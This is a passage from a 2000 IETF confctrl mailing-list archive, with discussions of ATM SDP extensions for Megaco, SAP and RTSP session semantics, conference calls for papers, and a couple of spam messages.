<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=040020614-31052000>doesn't leave much room for the SDPng stuff.&nbsp; That 
could be a problem.&nbsp; On the other</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>hand, 
we need it done asap for Megaco.&nbsp; I may be too 
optimistic.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=040020614-31052000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=040020614-31052000>Brian</SPAN></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Tom-PT Taylor 
  [mailto:taylor@nortelnetworks.com]<BR><B>Sent:</B> Wednesday, May 31, 2000 
  9:33 AM<BR><B>To:</B> 'Joerg Ott'; Rajesh Kumar<BR><B>Cc:</B> 
  mmostafa@cisco.com; bfoster@cisco.com; Rosen, Brian; atmsdp@eng.fore.com; 
  confctrl@isi.edu; ISC_DeviceControl@inventures.com; 
  dwing@cisco.com<BR><B>Subject:</B> RE: ATM Package for 
  Megaco<BR><BR></DIV></FONT>
  <P><FONT color=#0000ff face=Arial size=2>Just a gloss on this note: Scott 
  Bradner and Allison Mankin have given their blessing to letting Megaco do the 
  detailed work on the stuff it needs.&nbsp; We can work the general principles 
  through MMUSIC, then finish up on our own list.</FONT></P>
  <UL>
    <P><FONT face=Arial size=1>-----Original Message-----</FONT> <BR><B><FONT 
    face=Arial size=1>From:&nbsp;&nbsp;</FONT></B> <FONT face=Arial size=1>Joerg 
    Ott [SMTP:jo@tzi.uni-bremen.de]</FONT> <BR><B><FONT face=Arial 
    size=1>Sent:&nbsp;&nbsp;</FONT></B> <FONT face=Arial size=1>Tuesday, May 30, 
    2000 4:07 PM</FONT> <BR><B><FONT face=Arial 
    size=1>To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT face=Arial size=1>Rajesh 
    Kumar</FONT> <BR><B><FONT face=Arial 
    size=1>Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT face=Arial 
    size=1>mmostafa@cisco.com; bfoster@cisco.com; Brian.Rosen@marconi.com; 
    atmsdp@eng.fore.com; confctrl@ISI.EDU; ISC_DeviceControl@inventures.com; 
    dwing@cisco.com</FONT></P>
    <P><B><FONT face=Arial 
    size=1>Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT 
    face=Arial size=1>Re: ATM Package for Megaco</FONT> </P>
    <P><FONT face=Arial size=2>Rajesh,</FONT> </P>
    <P><FONT face=Arial size=2>sorry for the response delay.&nbsp; The Internet 
    Drafts (which hopefully contain the</FONT> <BR><FONT face=Arial 
    size=2>authors' addresses) can be found at</FONT> </P>
    <P><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp;<U> </U></FONT><U><FONT 
    color=#0000ff face=Arial size=2><A 
    href="http://www.dmn.tzi.org/ietf/mmusic/47/id/draft-sheedy-mmusic-rtsp-ext-00.txt" 
    target=_blank>http://www.dmn.tzi.org/ietf/mmusic/47/id/draft-sheedy-mmusic-rtsp-ext-00.txt</A></FONT></U> 
    </P>
    <P><FONT face=Arial size=2>Yes, I do believe that MMUSIC is the proper form 
    for this kind of discussion</FONT> <BR><FONT face=Arial size=2>(particularly 
    if it involves extensions that are of broader applicability).</FONT> 
    <BR><FONT face=Arial size=2>MMUSIC should deal with all general aspects of 
    SDP extensions and also </FONT><BR><FONT face=Arial size=2>define/constrain 
    how such extensions are to be done.&nbsp; For very specific</FONT> <BR><FONT 
    face=Arial size=2>applications, however, the proper place for discussion 35 
    different relevant</FONT> <BR><FONT face=Arial size=2>parameters which are 
    not of broader applicability might be elsewhere</FONT> <BR><FONT face=Arial 
    size=2>(e.g. in the context of MEGACO) but the general constraints should 
    not</FONT> <BR><FONT face=Arial size=2>be violated.</FONT> </P>
    <P><FONT face=Arial size=2>So everything of general interest (and from my 
    memory this probably applies</FONT> <BR><FONT face=Arial size=2>to most/all 
    of your proposal -- but don't quote me on this as its from memory :-)</FONT> 
    <BR><FONT face=Arial size=2>should be done in MMUSIC.</FONT> </P><BR>
    <P><FONT face=Arial size=2>&gt; OK - I'll give this a shot. Who should I 
    send the results to? The atmdsp mailing list?</FONT> <BR><FONT face=Arial 
    size=2>&gt; The confctrl mailing list?</FONT> </P>
    <P><FONT face=Arial size=2>Both. </FONT></P>
    <P><FONT face=Arial size=2>Typically, lack of response means that people are 
    busy or consider something</FONT> <BR><FONT face=Arial size=2>not too 
    important.&nbsp; As we have several proposal on SDP for ATM, unimportance 
    is</FONT> <BR><FONT face=Arial size=2>less likely.&nbsp; Nevertheless, it's 
    probably not among people's top priority.</FONT> </P>
    <P><FONT face=Arial size=2>Also, note that we are working on SDPng (how it 
    was called on a recent thread)</FONT> <BR><FONT face=Arial size=2>to provide 
    a better framework for capability description and negotiation.</FONT> 
    <BR><FONT face=Arial size=2>In this context, I promise to go through the 
    document during our discussion</FONT> <BR><FONT face=Arial size=2>cycles 
    here and get you some further feedback; but please allow this to take</FONT> 
    <BR><FONT face=Arial size=2>a week or two)</FONT> </P>
    <P><FONT face=Arial size=2>I agree that it is important to move the stuff 
    ahead.&nbsp; As I stated before,</FONT> <BR><FONT face=Arial size=2>I'd like 
    to see the stuff coordinated with other work in this area and,</FONT> 
    <BR><FONT face=Arial size=2>if possible, also with the work on SDPng.&nbsp; 
    But for the latter, I am sort of</FONT> <BR><FONT face=Arial size=2>the 
    bottleneck right now (working on this :-)</FONT> </P>
    <P><FONT face=Arial size=2>You are *very* welcome to present and discuss the 
    revisions in Pittburg</FONT> <BR><FONT face=Arial size=2>at the next 
    IETF.&nbsp; I'll put this down in my agenda for some 20 minutes.&nbsp; 
    Let</FONT> <BR><FONT face=Arial size=2>me know if you need more.</FONT> </P>
    <P><FONT face=Arial size=2>Joerg</FONT> </P></UL></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01BFCB0A.EDC34B76--

From confctrl-owner  Wed May 31 17:23:49 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA04373
	for confctrl-outgoing; Wed, 31 May 2000 17:23:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA04365
	for <confctrl@zephyr.isi.edu>; Wed, 31 May 2000 17:23:47 -0700 (PDT)
Received: from rum.isi.edu (rum.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA07954
	for <confctrl@isi.edu>; Wed, 31 May 2000 17:24:25 -0700 (PDT)
From: Joe Touch <touch@ISI.EDU>
Received: (from touch@localhost)
	by rum.isi.edu (8.9.3/8.8.6) id RAA22728
	for confctrl@isi.edu; Wed, 31 May 2000 17:24:24 -0700 (PDT)
Date: Wed, 31 May 2000 17:24:24 -0700 (PDT)
Message-Id: <200006010024.RAA22728@rum.isi.edu>
To: confctrl@ISI.EDU
Subject: SIGCOMM 2000 Call for Participation
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


			Call for Participation
		     ACM SIGCOMM 2000 Conference

		    August 28 - September 1, 2000
		    Grand Hotel, Stockholm, Sweden
		http://www.acm.org/sigcomm/sigcomm2000
		       sigcomm2000-info@acm.org

Deadlines:

Proposals for student travel grant:	June 22, 2000
Proposals for poster session:		July 12, 2000
Advance registration ends:		July 28, 2000
Outrageous opinions desired:		starting August 25, 2000

SIGCOMM 2000 is the annual conference of the Special Interest Group on
Data Communication (SIGCOMM), a single-track, highly selective
conference with a technical program of 26 papers, tutorials by noted
instructors on the two days prior, and sessions on speculative results.

Early registration for Sigcomm 2000 is now open. Registration details,
as well as information on student travel grants and requests for
proposals for a work-in-progress poster session are available at the
Sigcomm website above.

Registration

Conference and hotel registration is handled by the Stockholm Convention
Bureau (see address below, or website above). Note that the number of
delegates is limited to 500 and that registration requests will be
handled on a "first-come-first-served" basis. Please refer to the web
form or paper form for various rates and options. ACM has selected Delta
Air Lines as the Official airline for its conferences in Europe for
2000. Delta has special fares in place for ACM and your traveling
companions. See the website for further details.

Sigcomm registration is by secure web form, or fax or ordinary mail.
On-line registration is available at the Sigcomm website; fax and
ordinary mail registrations must be completed well in advance of the
deadlines, using this PDF form sent or faxed to the address below:
	   https://www.it.uu.se/conf/sigcomm2000/register.pdf 
	   http://www.acm.org/sigcomm/sigcomm2000/register.pdf

           Stockholm Convention Bureau 
	   ACM SIGCOMM 2000
           P O Box 6911
           SE-102 39 Stockholm, SWEDEN
           Phone: +46 8 546 515 00 / Fax: +46 8 546 515 99

Opening Reception and Dinner events

The reception is generously hosted by Stockholm City, and includes a
sightseeing cruise on the water ways of Stockholm, through the Old Town
to the City Hall, site of the famous for the Nobel Prize festivities.
The banquet dinner is hosted at the Vasa Museum, site of the Sweden's
largest and most prestigious warship; dinner is included in the cost of
registration, and guest tickets are available. Advance reservations
necessary for all events.

Stockholm - the Royal capital of Sweden - is one of the most beautiful
cities in the world. It is built on fourteen islands and surrounded by
waters so clean that you can fish and swim right in the middle of the
city. Stockholm became the capital of Sweden 750 years ago. In the
winding alleyways of the city's medieval Old Town, the air is redolent
with history.  And yet, only a few minutes walking distance away lies
the throbbing pulse of a modern city.

SIGCOMM Award

The SIGCOMM Award is given annually to a person whose career and
technical achievements demonstrate a long-term commitment to the field
of data communications. ACM SIGCOMM is pleased to announce that the 2000
SIGCOMM Award is being given to Prof. André Danthine, University of
Liege, Belgium, who will also provide the keynote address.

Tutorials

SIGCOMM 2000 begins with two days of full-day tutorials covering single
topics in detail at both the introductory and advanced level.  Tutorials
offered this year are:
 - Voice over IP	
	   Prof. Henning Schulzrinne, Columbia Univ.
 - Analysis of Network and Protocol Behavior with Common Tools
	   Prof. Shawn Ostermann, Ohio Univ.
 - Network Security Protocols
	   Dr. Radia Perlman, Sun Microsystems
 - Distributed control and resource pricing
	   Dr. Richard Gibbens, Univ. of Cambridge
	   Dr. Peter Key, Microsoft Research

Outrageous Opinions Session

The Outrageous Opinions Session provides an opportunity for sharing
entertaining, provocative, and otherwise enriching ideas and suggestions
in their early stages. Submissions are actively solicited by the OO
Chair Gary Delp (gdelp@acm.org) beginning August 25, 2000.

Poster Session - Work in Progress

The Poster Session is an opportunity for students (as primary poster
authors) to present work in progress.  Poster proposals should be sent
to the PC chairs by July 12.  Posters will be reviewed by the TPC, and
decisions made by early August; see the website for further details.

Student Travel Awards

The student travel program provides support for SIGCOMM conference
participation to students, primarily not paper authors, who would
otherwise find it difficult to attend. Students at degree granting
institutions throughout the world are eligible.  See the website for
further criteria and application procedures.

General Co-Chairs
	Per Gunningberg, Uppsala U., Sweden (perg@docs.uu.se)
	Steve Pink, Lulea U. Tech., Sweden (steve@cdt.luth.se)
Program Co-Chairs
	Christophe Diot, Sprint ATL, USA (cdiot@sprintlabs.com)
	Jim Kurose, U. Massachusetts, USA (kurose@cs.umass.edu)
Publicity Chair
	Joe Touch, USC/ISI, USA (touch@isi.edu)
Tutorials Chair
	Steve Pink, Lulea U Tech., Sweden (steve@cdt.luth.se)
Local Arrangements Co-Chairs
	Bengt Ahlgren, SICS, Sweden (bengta@sics.se)
	Christian Tschudin, Uppsala U., Sweden (tschudin@docs.uu.se)

Support from Ericsson, Telia, and Sprint is gratefully acknowledged.
The student travel grant program is supported by Nokia and the US
National Science Foundation.

From confctrl-owner  Fri Jun  2 08:15:53 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA10920
	for confctrl-outgoing; Fri, 2 Jun 2000 08:15:53 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA10912
	for <confctrl@zephyr.isi.edu>; Fri, 2 Jun 2000 08:15:50 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA10976
	for <confctrl@ISI.EDU>; Fri, 2 Jun 2000 08:16:24 -0700 (PDT)
Received: from rkumar-ntl ([144.254.252.22])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id IAA01407;
	Fri, 2 Jun 2000 08:15:48 -0700 (PDT)
Message-Id: <4.1.20000602080842.00cb4c40@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Fri, 02 Jun 2000 08:20:14 -0700
To: "Rosen, Brian" <Brian.Rosen@marconi.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Conformance of ATM SDP conventions with standard rfc2327 SDP
Cc: "'atmsdp@eng.fore.com'" <atmsdp@eng.fore.com>, mmostafa@cisco.com,
        hisham@cisco.com, rizvan@cisco.com, rbiskner@cisco.com,
        skaria@cisco.com, joestone@cisco.com, confctrl@ISI.EDU,
        ISC_DeviceControl@inventures.com, dwing@cisco.com, bfoster@cisco.com,
        brucet@cisco.com
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_5391532==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_5391532==_.ALT
Content-Type: text/plain; charset="us-ascii"

Team,
Please provide your feedback on the following rules that 
I've been following in the ATM SDP Internet Draft:

1. Conform to the sequence and format of lines as defined in rfc2327.
   This is done by extending the values of fields defined in rfc2327
   rather than by defining new fields.
2. Since the parameter <network type> is s set to "ATM", 
   this should preclude 
   the misinterpretation of extended parameter values by 
   rfc2327-compliant SDP parsers.
3. The SDP protocol (RFC2327)  requires that non-standard  
   codec names use an "X-" prefix. A list of standard codec names is
   found at http://www.isi.edu/in-notes/iana/assignments/rtp-parameters 
   I have followed the "X-" prefix convention for non-standard codecs.

I have taken one liberty, however, with the "X-" convention.

The SDP protocol (RFC2327)  requires that non-standard attributes
use an "X-" prefix. I have not followed this convention for the
sake of minimizing clutter. Should I use this convention
for extension attributes? 

Note that I have asked that, " parsers be flexible in the use of the
"X-" prefix convention. They  should accept codec names and 
attribute names with or without the "X-" prefix."

Please provide your feedback.
Thanks--Rajesh 

...........................................................................
Rajesh Kumar
rkumar@cisco.com                    
408 527 0811                
Carrier Packet Voice
Cisco Systems, San Jose, California
--=====================_5391532==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font face="Courier New, Courier">Team,<br>
Please provide your feedback on the following rules that <br>
I've been following in the ATM SDP Internet Draft:<br>
<br>
1. Conform to the sequence and format of lines as defined in
rfc2327.<br>
&nbsp;&nbsp; This is done
</font><font face="Courier New, Courier" color="#FF0000">by extending the
values of fields defined in rfc2327<br>
&nbsp;&nbsp; rather than by defining new fields.<br>
</font><font face="Courier New, Courier">2. Since the parameter
</font><font face="Courier New, Courier" color="#FF0000">&lt;network
type&gt;</font><font face="Courier New, Courier"> is
</font><font face="Courier New, Courier" color="#FF0000">s set to
&quot;ATM&quot;, <br>
&nbsp;&nbsp; this should preclude <br>
&nbsp;&nbsp; the misinterpretation of extended parameter values by <br>
&nbsp;&nbsp; rfc2327-compliant SDP parsers.<br>
3. </font><font face="Courier New, Courier">The SDP protocol
(RFC2327)&nbsp; requires that non-standard&nbsp; <br>
&nbsp;&nbsp; codec names use an &quot;X-&quot; prefix. A list of standard
codec names is<br>
&nbsp;&nbsp; found at
<a href="http://www.isi.edu/in-notes/iana/assignments/rtp-parameters" eudora="autourl">http://www.isi.edu/in-notes/iana/assignments/rtp-parameters</a></font><font face="Courier New, Courier" color="#FF0000">
<br>
&nbsp;&nbsp; I have followed the </font><font face="Courier New, Courier">&quot;X-&quot; prefix</font><font face="Courier New, Courier" color="#FF0000"> convention for non-standard codecs.<br>
<br>
I have taken one liberty, however, with the &quot;X-&quot; convention.<br>
<br>
</font><font face="Courier New, Courier">The SDP protocol (RFC2327)&nbsp; requires that non-standard attributes<br>
use an &quot;X-&quot; prefix. I have not followed this convention for the<br>
sake of minimizing clutter. Should I use this convention<br>
for extension attributes? <br>
<br>
Note that I have asked that, &quot; parsers be flexible in the use of the<br>
&quot;X-&quot; prefix convention. They&nbsp; should accept codec names and <br>
attribute names with or without the &quot;X-&quot; prefix.&quot;<br>
<br>
Please provide your feedback.</font><br>

Thanks--Rajesh <br>
<br>
<font color="#000080">...........................................................................<br>
<i>Rajesh Kumar<br>
rkumar@cisco.com<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
408 527 0811<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems, San Jose, California</font></i></html>

--=====================_5391532==_.ALT--


From confctrl-owner  Fri Jun  2 08:34:54 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA11814
	for confctrl-outgoing; Fri, 2 Jun 2000 08:34:54 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA11806
	for <confctrl@zephyr.isi.edu>; Fri, 2 Jun 2000 08:34:52 -0700 (PDT)
Received: from hoemlsrv.firewall.lucent.com (hoemail1.lucent.com [192.11.226.161])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA11875
	for <confctrl@isi.edu>; Fri, 2 Jun 2000 08:35:26 -0700 (PDT)
Received: from hoemlsrv.firewall.lucent.com (localhost [127.0.0.1])
	by hoemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id LAA21040
	for <confctrl@isi.edu>; Fri, 2 Jun 2000 11:35:26 -0400 (EDT)
Received: from ldvmail.ldv.lucent.com (h135-17-61-5.lucent.com [135.17.61.5])
	by hoemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id LAA21035
	for <confctrl@isi.edu>; Fri, 2 Jun 2000 11:35:26 -0400 (EDT)
Received: by ldvmail.ldv.lucent.com (8.9.1b+Sun/EMS-1.5 sol2)
	id LAA07721; Fri, 2 Jun 2000 11:35:25 -0400 (EDT)
From: Leslie Klein <lbklein@lucent.com>
Received: from ldvmail.ldv.lucent.com by ldvmail.ldv.lucent.com (8.9.1b+Sun/EMS-1.5 sol2)
	id LAA07717; Fri, 2 Jun 2000 11:35:25 -0400 (EDT)
Message-ID: <3937D448.FD5A01ED@ldvmail.ldv.lucent.com>
Date: Fri, 02 Jun 2000 11:35:36 -0400
Original-From: Leslie Klein <lbk@ldvmail.ldv.lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.6 [en]C-CCK-MCD EMS-1.4  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Session Announcement Protocol
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In draft-ietf-mmusic-sap-v2-06.txt,

What is the definition of a 'SAP group'?

In section 3.1, 
"...the total bandwidth used by all announcements on a single SAP group..."

Thanks,
Leslie B. Klein
Lucent Digital Video
Lucent Technologies
908-547-5217

From confctrl-owner  Mon Jun  5 19:12:19 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA22308
	for confctrl-outgoing; Mon, 5 Jun 2000 19:12:19 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA22303
	for <confctrl@zephyr.isi.edu>; Mon, 5 Jun 2000 19:12:18 -0700 (PDT)
Received: from redale.cisco.com (redale.cisco.com [171.71.154.68])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id TAA24987
	for <confctrl@ISI.EDU>; Mon, 5 Jun 2000 19:12:51 -0700 (PDT)
Received: from cisco.com (dhcp-171-71-147-116.cisco.com [171.71.147.116]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id TAA05935; Mon, 5 Jun 2000 19:11:55 -0700 (PDT)
Message-ID: <393C5DED.8E45F89F@cisco.com>
Date: Mon, 05 Jun 2000 19:11:58 -0700
From: Anup Rao <anrao@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.5 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Florin Lohan <lohanf@cs.tut.fi>
CC: confctrl@ISI.EDU, roberto.castagno@nokia.com
Subject: Re: RTSP to DMIF mapping
References: <39342554.AB709549@cs.tut.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Florin Lohan wrote:

> Hello !
> My name is Florin Lohan and I am a PhD student at Tampere University of
> Technology, Finland. In cooperation with Nokia, we are working in order
> to improve our proposal for the management of MPEG-4 session using IETF
> protocols. Our first approach is described in the MPEG document N3198p4,
> "Text for ISO/IEC 14496-1 version 3 VM 9.0".
> We are trying to map the DMIF control commands to RTSP/SDP protocols.
> Our goal is to obtain interoperability with RTSP clients/servers.
> I am kindly asking you to help me with the following problem regarding a
> standard RTSP server behavior:
> DMIF, the  has separate commands for opening and closing a session
> (ServiceAttach and ServiceDetach). After a session is opened, a client
> can add and delete media channels (streams) at will. So it can happen
> that a client opens a session, opens some media streams, then closes
> them all, and  in the same DMIF session, it opens some other media
> streams. According to MPEG, the DMIF session should remain "alive"
> during this process.
> My question is how an RTSP server should behave when a client  closes
> all opened media streams inside its session. Is the server closes  the
> session with the client after the last media stream is closed or is it
> still keeping it opened for some time (until the timeout expires, maybe)
> ?

Florin,

A session  is valid until a TEARDOWN on the presentation URL (see section 12.37)
or a timeout.  So one should be able to start a session with the first SETUP,
setup and subsequently teardown 1..n streams within the presentation,  have no
stream on at one point in time, and subsequently start n+1... streams within the
same presentation.  To end the session, a TEARDOWN is done on the presentation
URL. However this is hardly typical -  usually the entire point of a
presentation is  to aggregate streams that are viewed/heard together.

The key here is that you can do it within what is considered by the
client-server  pair as *one presentation*. That is somewhat different than
starting a "generic" session, playing any number of streams/presentations and
then closing the session.

-Anup.


> Thank you and best regards,
> Florin Lohan


From confctrl-owner  Thu Jun  8 09:35:11 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA19767
	for confctrl-outgoing; Thu, 8 Jun 2000 09:35:11 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA19739
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jun 2000 09:35:07 -0700 (PDT)
Received: from mta5.rcsntx.swbell.net (mta5.rcsntx.swbell.net [151.164.30.29])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id JAA26562
	for <confctrl@isi.edu>; Thu, 8 Jun 2000 09:35:40 -0700 (PDT)
From: zainprov@swbell.net
Received: from zainprov ([207.193.24.81]) by mta5.rcsntx.swbell.net
 (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with SMTP id <0FVU00DNGF4Q3B@mta5.rcsntx.swbell.net> for confctrl@isi.edu;
 Thu,  8 Jun 2000 11:06:07 -0500 (CDT)
Date: Thu, 08 Jun 2000 11:06:07 -0500 (CDT)
Date-warning: Date header was inserted by mta5.rcsntx.swbell.net
Subject: Shocking LOSE 10-100lbs. DESTINY
To: confctrl@ISI.EDU
Message-id: <0FVU00DH9FE43B@mta5.rcsntx.swbell.net>
MIME-version: 1.0
Content-type: text/plain; charset=unknown-8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hello From Destiny,

You will LOOSE 20-100 pounds easy!
Do to Such a high demand for Destiny, we are able
To Dramatically reduce our price for the entire System!
You will LOVE our incredible offer on this
Scientific Breakthrough in Weight Loss.
Now with a 105% Money Back Guarantee!   
LOOK! http://home.swbell.net/zainprov/destiny.htm



We hope things are going well for you.  Good luck, God Bless, and 
HAVE A GREAT DAY!



Either you are someone else subscribed to our list.  To be removed
Simply reply with a blank email.  

Thank you,

Sherry Wilson


From confctrl-owner  Fri Jun  9 03:23:26 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA13897
	for confctrl-outgoing; Fri, 9 Jun 2000 03:23:26 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA13892
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jun 2000 03:23:24 -0700 (PDT)
Received: from smtp2.cluster.oleane.net (smtp2.cluster.oleane.net [195.25.12.17])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id DAA14018
	for <confctrl@isi.edu>; Fri, 9 Jun 2000 03:23:56 -0700 (PDT)
Received: from oleane  (dyn-1-2-224.Vin.dialup.oleane.fr [194.2.4.224])  by smtp2.cluster.oleane.net  with SMTP id MAA10711 for <confctrl@isi.edu>; Fri, 9 Jun 2000 12:24:36 +0200 (CEST)
Message-ID: <003c01bfd1fc$9c420780$7501a8c0@oleane.oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <confctrl@ISI.EDU>
Subject: MGC CALL FOR PAPER
Date: Fri, 9 Jun 2000 12:22:26 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0039_01BFD20D.5F662240"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0039_01BFD20D.5F662240
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

MGCP/Megaco Conference 14 to 17 November 2000.=20
Second edition: deployment experiences, operational issues, =
interoperability status.
Please get more details on the call for papers online:
http://www.upperside.fr/bamgc2yk.htm

------=_NextPart_000_0039_01BFD20D.5F662240
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV>
<DIV><FONT color=3D#000000 size=3D2>MGCP/Megaco Conference 14 to 17 =
November 2000.=20
</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Second edition: deployment =
experiences,=20
operational issues, interoperability status.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Please get =
more details on=20
the call for papers online:</FONT></DIV>
<DIV><FONT size=3D2><A=20
href=3D"http://www.upperside.fr/bamgc2yk.htm">http://www.upperside.fr/bam=
gc2yk.htm</A></FONT></DIV></DIV></DIV></BODY></HTML>

------=_NextPart_000_0039_01BFD20D.5F662240--


From confctrl-owner  Fri Jun  9 13:55:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA13363
	for confctrl-outgoing; Fri, 9 Jun 2000 13:55:47 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA13348
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jun 2000 13:55:45 -0700 (PDT)
Received: from mailout3.hananet.net (mailout3.hananet.net [210.220.163.36])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id NAA12659
	for <confctrl@isi.edu>; Fri, 9 Jun 2000 13:56:17 -0700 (PDT)
Message-Id: <200006092056.NAA12659@venera.isi.edu>
Received: from thrunet.thrunet.com ([211.117.11.5]) by
          mailout3.hananet.net (Netscape Messaging Server 4.15) with SMTP
          id FVWNGX02.544 for <confctrl@isi.edu>; Sat, 10 Jun 2000 05:55:45 +0900 
From: ÀÌÇö¿ì<olk01@hananet.net>
To: confctrl@ISI.EDU
Cc: 
Subject: ¿µ¾î,ÀÏ¾î »ýȰȸȭ ¹«·á mailing service ¾È³»!!
Date: Sat, 10 Jun 00 05:57:31 ŸÀ̺£ÀÌ Ç¥ÁؽÃ
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=AD_2000_PART_BOUNDARY_19990606
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

--AD_2000_PART_BOUNDARY_19990606
Content-Type: text/plain
Content-Transfer-Encoding: 7Bit

¢Î ¸ÅÀÏ ¹Þ¾Æº¸½Ç ¿µ¾î,ÀÏ¾î »ýȰȸȭ ¿¹¹®.¢º¢º ¹«·á ¼­ºñ½º
¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬
Watchking his class take a true - false, a high - school 
